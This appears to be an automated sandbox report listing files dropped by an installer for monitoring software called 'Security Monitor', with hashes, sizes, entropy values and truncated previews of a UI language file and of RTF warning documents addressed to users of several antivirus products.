SSDEEP:	192:f9xAt+/MjlJ/5mOT3Y7hzjeJRz1QIGiGU/F6lDCDjY3qfTmXq6Cf3CxMprBarJKW:f9xAt+/YJRm7hzjqRzlXjUo7Qgo7c8DD
MD5:	C3930BE227C51A5887BFB0F6D8575548
SHA1:	D6A32283BC35FE18207EDAE4626D5D299CE50592
SHA-256:	E50FDC95BC49000FF5DC52A830925CEDF684B2F7100397BFB22D8D5430E920F0
SHA-512:	F42F25DAC17F0096CA2EA998E0B84A1A8CFFABAB5256C24DAAA1210F50DB43D903D481C64C98250EB7A5297684582D085540EA445F6E7156DBA3ADC42410AA57
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Enable logging"..tbStop="Stop"..tbStopHint="Disable logging"..tbFind="Find"..tbFindHint="Search for log information"..tbSetting="Settings"..tbSettingHint="Program settings"..tbAbout="About"..tbAboutHint="About / registration info"..tbHomePage="Home Page"..tbHomePageHint="Go to the Program Home Page"..tbToday="Today"..tbTodayHint="Go to todays log"..tbHide="Hide"..tbHideHint="Stealth mode (no icon in the System Tray)"..tbMinimize="Minimize"..tbMinimizeHint="Minimize to Tray"..tbExit="Exit"..tbExitHint="Exit and stop log"..gbLog="Event Log"..tCurrLogSize="Log Size (Mb)"..tCurrScrSize="Screenshots Size (Mb)"..tCurrSnpSize="Webcam Snapshots size (Mb)"..tCurrSoundsSize="Sound files size (Mb)"..tCurrVideosSize="W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\360_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44577
Entropy (8bit):	5.047991849900316
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsH5GmTF187V63Fq+1h1r1FOZ/6A9b:2amAhHzF187g3Fq+1h1r1FOIA9b
MD5:	91A847C22456099C70F172382B194CBD
SHA1:	E3C2687C4166260A3C70B667341DB4773461D45D
SHA-256:	84D171982B9A0B79099979907F3347B0E21DEC8162F8DB41C22097D89EA4D7AD
SHA-512:	C194CF609F25F2813696E8FA33178917E63FFB6B9BFC2F78A5E7384D97434CC8545C585B3D94829D4F4ABD5BF2A9FB28383EB22ABF8F3166AD3AB875BDE35E28
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\AVG_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44224
Entropy (8bit):	5.048946998383766
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsM5qWUTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhMuF4BaA3F1+1h1r1KDIA9z
MD5:	72509EF33CF9A21325EB2DD67445BA6A
SHA1:	37F7D53B232DE88B3F7D1CDD6813598DD611194D
SHA-256:	6C266D43303DCAC9CE57903481E22442AABD532FFD6E4ADF5C3E4B7820E8CBA8
SHA-512:	00957DDFF315CC324CE9EAAA890EC2712543DEA6ADC8892BCCED84445AF7A8701066FF44708396D63F3F8FEFC1FBEC8EEB687A4A9009632E1644D095300B2542
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\Avast_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44198
Entropy (8bit):	5.048748452821434
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsQ5x8tTF4BaVy3F1+1h1r1KDZ/6A95:2amAhQsF4BaA3F1+1h1r1KDIA95
MD5:	B09494F1B4F83DBB2489B542B911DFB3
SHA1:	02BA1EB53181B33E02138D564B00DF6FF7084091
SHA-256:	901AFF931E90289B75F9385BE37787DF1A88D67419623904BD8C9C7AD9CBE21A
SHA-512:	79BDB81018FD674776B10007A0FEAFD3B4A16718ED531EFAFDE80F54A924281A4199A7F1A3005C8FF9BE4E6DE2240C4C480667C0A99E134BBA0BF0A414BFD257
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\Avira_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44503
Entropy (8bit):	5.048234089968532
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsr5YJTF187V63F1+1h1r1FOZ/6A9b:2amAhryF187g3F1+1h1r1FOIA9b
MD5:	22F6CDCCE6FACBA92B6D270D8C66B570
SHA1:	7290B603CFA4FB5A44C379220E0694A41138C9B8
SHA-256:	B4BBF6FF64527A29990C52C45852C3A9C25D23A44650A9C78233B2440B731B60
SHA-512:	BCC875F094806C5B461A1C62E8A51F9A03BC213B1B48D0ECA421057EF7371C3C7B57A0FAF5765A6F86975B7B9AF98A64141CCBF8CD7E301D6A1A182C3B9935B8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\Kaspersky_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44558
Entropy (8bit):	5.049062407758663
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsc5NcTF4BaVy3F1+1h1r1KDZ/6A9L:2amAhcWF4BaA3F1+1h1r1KDIA9L
MD5:	16036186160BEB81F13561AE51DCFBED
SHA1:	BB644BD11DABCC9F453A71745D7CF12A1621FEBA
SHA-256:	AE0674BF9ECDCD8A1550E0ECA0529EED66E9786B6029AE6EB5414769205FDAA2
SHA-512:	CEDAD90055D3DE40A431B0FF9FA89D9E2A25E831EC484854F01E04CC953EBBD50D76B23107C5D1446145A4596A721EEBB34B6EFF827C623D894924BEB64B8DA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\McAfee_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39483
Entropy (8bit):	5.037147955886456
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGGASZqeY4sMQi1OkBSyAQdAMeo75Y3kpTBd:2aFknOc7cskl/VGGAS0MDAJZ/6A9S
MD5:	2A08EEECD3328F25905421850E9182BE
SHA1:	EC931D459DAD71B222442AA00412E1E627F343E2
SHA-256:	F7F40C10AE7B09FB3D476FCEA2E2FC7CCA8DF57EE92899A1675B4A1B7D61749D
SHA-512:	D1F92F97F9B9F560A0FC510567A63B8A150759DCE4E25F0AA7B302537E3745FFA9722C144D1FF09308E7F131E92AD1CD5CB91C21B21ECE8B62E7A90B85911C10
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46380
Entropy (8bit):	5.030428428463447
Encrypted:	false
SSDEEP:	768:qqegxdU6T2njX8x3TLjwUtqYepr+pNINnNINGNAAlTuARAhyzc1TOCgX03w3n30j:qqHLIA9R
MD5:	E7F852CDF6B14E79DB92EF3A563FFE70
SHA1:	CEAD99D6CA825878A9040D0F05C04D34DCB48B3F
SHA-256:	C5F6E6F3BEB1F933033207BA5217B357F1257671A5DB08AC5D6E1C484AFF5744
SHA-512:	0F259C1081D3932B0DCA526CE090C3EDEA9C8B40DFE71649F6EED6F948F2FBFE9266C0531BEF728F15ED5969CCC1FE9710EA44903BB2CF49FBD8BA531EBC3D2E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37249
Entropy (8bit):	5.028034136812006
Encrypted:	false
SSDEEP:	768:q4eoxdUjOcPI0QhhiLVutRNQf6zgOG4h/PWvFmZ/6A9D:q4V7UneIA9D
MD5:	0A48D352EE09C07B7AFC4D8FCA754602
SHA1:	A8EF06010F383B0E1DF2C56ABC44E3C28752D99B
SHA-256:	36765A4404110CDE20DBDD48BFB5C7550F38FCD80312627D2465234990A146D2
SHA-512:	5886EF5B32E3619BBCEA35A29332B9EB8BB7E05D2A34C7E9591756E391AC8710886AA52A9A4EF87227F58FE54109EFB3526B905AA1ED75ED93BC3ED7D6EAF871
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38736
Entropy (8bit):	5.026744300506052
Encrypted:	false
SSDEEP:	768:q4eM4jXpT2njX8x3frTlkCR9vIFfT5ebEgTRg+oQHMciZ/6A96:q4U16IA96
MD5:	F53987E38EB6461218A046384275D858
SHA1:	F7D0C00DC80411F7ABF389AF5597F6A9D76671CA
SHA-256:	E2F7132583F6483F598B1D587B4837EA60A4E8147602AB48F72C821FB65CDA64
SHA-512:	23C0AA0AA555D0D04E384320F8682A4AD4511412A854A819C6345F34613039328D5A880B57E0A40DCABDB90F0E324BE03EBA4696F3D93DF96441CF631E01F1CA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36597
Entropy (8bit):	5.030646060695953
Encrypted:	false
SSDEEP:	768:q4FkNx1ETicPI0QhhiLV9E8cvtsomvimZ/6A9Q:q4GVUnXIA9Q
MD5:	4C157CB3C17D248D1CE74DB9A506CBBC
SHA1:	E8786D856D7F9A33E841A2C4BDF4BA41E8153448
SHA-256:	78E2AD2864EE4FA19DF5149FA7C86F4937FECDC48B0AC7965B9332706A356F87
SHA-512:	BA3C0F19E6B41C82021B4B0A00D9177F44D9341C5F26226258AEAC93DD46622C55C50ED284F5B8CD6DEBAF52C35B55720732C0FF9D86961E55648E2182D358DC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	96477
Entropy (8bit):	4.924667312566969
Encrypted:	false
SSDEEP:	768:q4FkIxd/+zl3C79ka9aT2njX8x3fj5g5V5V5h5G5P5N585gVVhGPN9turfTYlD+N:q4pfLS7tFvIA9AA
MD5:	474EFD092A23625D32003FF87FF3453A
SHA1:	1BD49C74CD6DC150858759546E8C8B7A49F12288
SHA-256:	8AEAD04008796E39C04E7E0F99B5824387C416B5C2A0EFF01A9FE5881959F382
SHA-512:	3BED2B0372293ECDF4798D223917556E358EF8AB686D53519EAF6310329FF4B89FB26FA08F42A77D2B16C2065218B9EE746D9D126683CEA19ADAF83172895127
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\eset_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39892
Entropy (8bit):	5.034602521621446
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGG1ZoQZq4sMQi1y9k1IKWhlmdBMyiX4+0Aw:2aFknOc7cskl/VGG1iMN+0dZ/6A9v
MD5:	D947033057D3BCAF28277A8071817DB8
SHA1:	901824B565296E552D80E934D8A2F39369611F86
SHA-256:	B8A385017A5AD17D0584EB61350466CD453CA521B282F195CA0AF0971621BFB2
SHA-512:	92ACB02795C228F72BF64ED33A55B6DB6D4222786B32FA0A67A6A55D53F6D851BC6659CCA4341FDECD6BF0B48E5CAC7D1A437A26927F790A57436C5AAFA1877B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-0B59J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46380
Entropy (8bit):	5.030428428463447
Encrypted:	false
SSDEEP:	768:qqegxdU6T2njX8x3TLjwUtqYepr+pNINnNINGNAAlTuARAhyzc1TOCgX03w3n30j:qqHLIA9R
MD5:	E7F852CDF6B14E79DB92EF3A563FFE70
SHA1:	CEAD99D6CA825878A9040D0F05C04D34DCB48B3F
SHA-256:	C5F6E6F3BEB1F933033207BA5217B357F1257671A5DB08AC5D6E1C484AFF5744
SHA-512:	0F259C1081D3932B0DCA526CE090C3EDEA9C8B40DFE71649F6EED6F948F2FBFE9266C0531BEF728F15ED5969CCC1FE9710EA44903BB2CF49FBD8BA531EBC3D2E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-1TMUB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44503
Entropy (8bit):	5.048234089968532
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsr5YJTF187V63F1+1h1r1FOZ/6A9b:2amAhryF187g3F1+1h1r1FOIA9b
MD5:	22F6CDCCE6FACBA92B6D270D8C66B570
SHA1:	7290B603CFA4FB5A44C379220E0694A41138C9B8
